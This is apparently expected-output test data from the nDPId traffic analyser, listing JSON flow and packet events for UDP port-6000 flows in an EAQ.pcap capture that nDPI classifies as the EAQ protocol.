+00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1432820962101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.66","src_port":36552,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1432820962101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.66","src_port":36552,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1432820965101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.68","src_port":59098,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1432820965101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.68","src_port":59098,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1432820967101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.68","src_port":36577,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1432820967101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.68","src_port":36577,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1432820961101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.68","src_port":53059,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1432820961101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.68","src_port":53059,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1432820964101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.66","src_port":47346,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1432820964101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.66","src_port":47346,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1432820968101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.67","src_port":60013,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1432820968101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.67","src_port":60013,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1432820959095,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.66","src_port":56128,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1432820959095,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.66","src_port":56128,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1432820963101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.68","src_port":43934,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1432820963101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.68","src_port":43934,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1432820966101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.67","src_port":50175,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1432820966101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.67","src_port":50175,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1432820969101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.66","src_port":33356,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820969,"pkt_ts_usec":101269,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR0rMKCAAByMKVQoJMF3AAGKbHAAAAAAAADdoADrlDAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":60,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1432820970111,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.67","src_port":40058,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820970,"pkt_ts_usec":111371,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4bIKCAAByMKGQ5x6F3AAGJpnAAAAAAAADdoADrp0AACQAA=="} +00411{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820971,"pkt_ts_usec":111371,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR3WwKCAAByLmKkswhF3AAGNRlAAAAAQAADdsAAUyUAACQAA=="} +00411{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820971,"pkt_ts_usec":175091,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsABRAABARDVnIuYqSCggAARdwzCEAGARmAAAAAQAADdsAAUyUAABgAA=="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":62,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":4,"flow_first_seen":1432820949586,"flow_last_seen":1432820971175,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.185.138.146","src_port":52257,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00412{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820971,"pkt_ts_usec":175152,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR6hwKCAAByLl94r76F3AAGJ\/qAAAAAQAADdsAAZrmAACQAA=="} +00412{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820971,"pkt_ts_usec":265057,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsABVAABARGgjIuX3iCggAARdwvvoAGM\/qAAAAAQAADdsAAZrmAABgAA=="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":64,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":4,"flow_first_seen":1432820949685,"flow_last_seen":1432820971265,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.185.125.226","src_port":48890,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00411{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820971,"pkt_ts_usec":265149,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR07IKCAAByMKUQ8lxF3AAGL1RAAAAAQAADdsAAlydAACQAA=="} +00411{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820971,"pkt_ts_usec":335217,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsABZAABARA53IwpRDCggAARdwyXEAGO1RAAAAAQAADdsAAlydAABgAA=="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":66,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":4,"flow_first_seen":1432820949735,"flow_last_seen":1432820971335,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.148.67","src_port":51569,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00411{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820971,"pkt_ts_usec":335278,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR07MKCAAByMKUQqZ8F3AAGKzSAAAAAQAADdsABZAPAACQAA=="} +00411{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820971,"pkt_ts_usec":405408,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsABdAABARA53IwpRCCggAARdwpnwAGNzSAAAAAQAADdsABZAPAABgAA=="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":68,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":4,"flow_first_seen":1432820950801,"flow_last_seen":1432820971405,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.148.66","src_port":42620,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00411{"flow_id":8,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820971,"pkt_ts_usec":406842,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR07EKCAAByMKURKp5F3AAGJfzAAAAAQAADdsABqDuAACQAA=="} +00411{"flow_id":8,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820971,"pkt_ts_usec":475323,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsABhAABARA5rIwpRECggAARdwqnkAGMfzAAAAAQAADdsABqDuAABgAA=="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":70,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":4,"flow_first_seen":1432820950865,"flow_last_seen":1432820971475,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.148.68","src_port":43641,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":71,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1432820971475,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.66","src_port":41438,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820971,"pkt_ts_usec":475415,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR2rMKCAAByMKNQqHeF3AAGIJFAAAAAQAADdwAAsY8AACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":72,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1432820972471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.68","src_port":34687,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820972,"pkt_ts_usec":471448,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR2rEKCAAByMKNRId\/F3AAGLwmAAAAAQAADdwABaa1AACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":73,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1432820973471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.67","src_port":39221,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820973,"pkt_ts_usec":471387,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR3rIKCAAByMKJQ5k1F3AAGK1eAAAAAQAADdwABafIAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":74,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1432820974471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.66","src_port":53354,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820974,"pkt_ts_usec":471387,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR3rMKCAAByMKJQtBqF3AAGE8vAAAAAQAADdwABc7DAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":75,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1432820975471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.68","src_port":59959,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820975,"pkt_ts_usec":471997,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR3rEKCAAByMKJROo3F3AAGA+WAAAAAQAADdwABfSNAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":76,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1432820976471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.67","src_port":37985,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820976,"pkt_ts_usec":471387,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR5rIKCAAByMKBQ5RhF3AAGB5FAAAAAQAADdwABkO1AACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":77,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1432820977471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.66","src_port":48666,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820977,"pkt_ts_usec":471478,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR5rMKCAAByMKBQr4aF3AAGPN5AAAAAQAADdwABkTIAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":78,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1432820978471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.68","src_port":47714,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820978,"pkt_ts_usec":471356,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR5rEKCAAByMKBRLpiF3AAGNEoAAAAAQAADdwABmrPAACQAA=="} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1432820977471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.66","src_port":48666,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":79,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1432820977471,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.66","src_port":48666,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 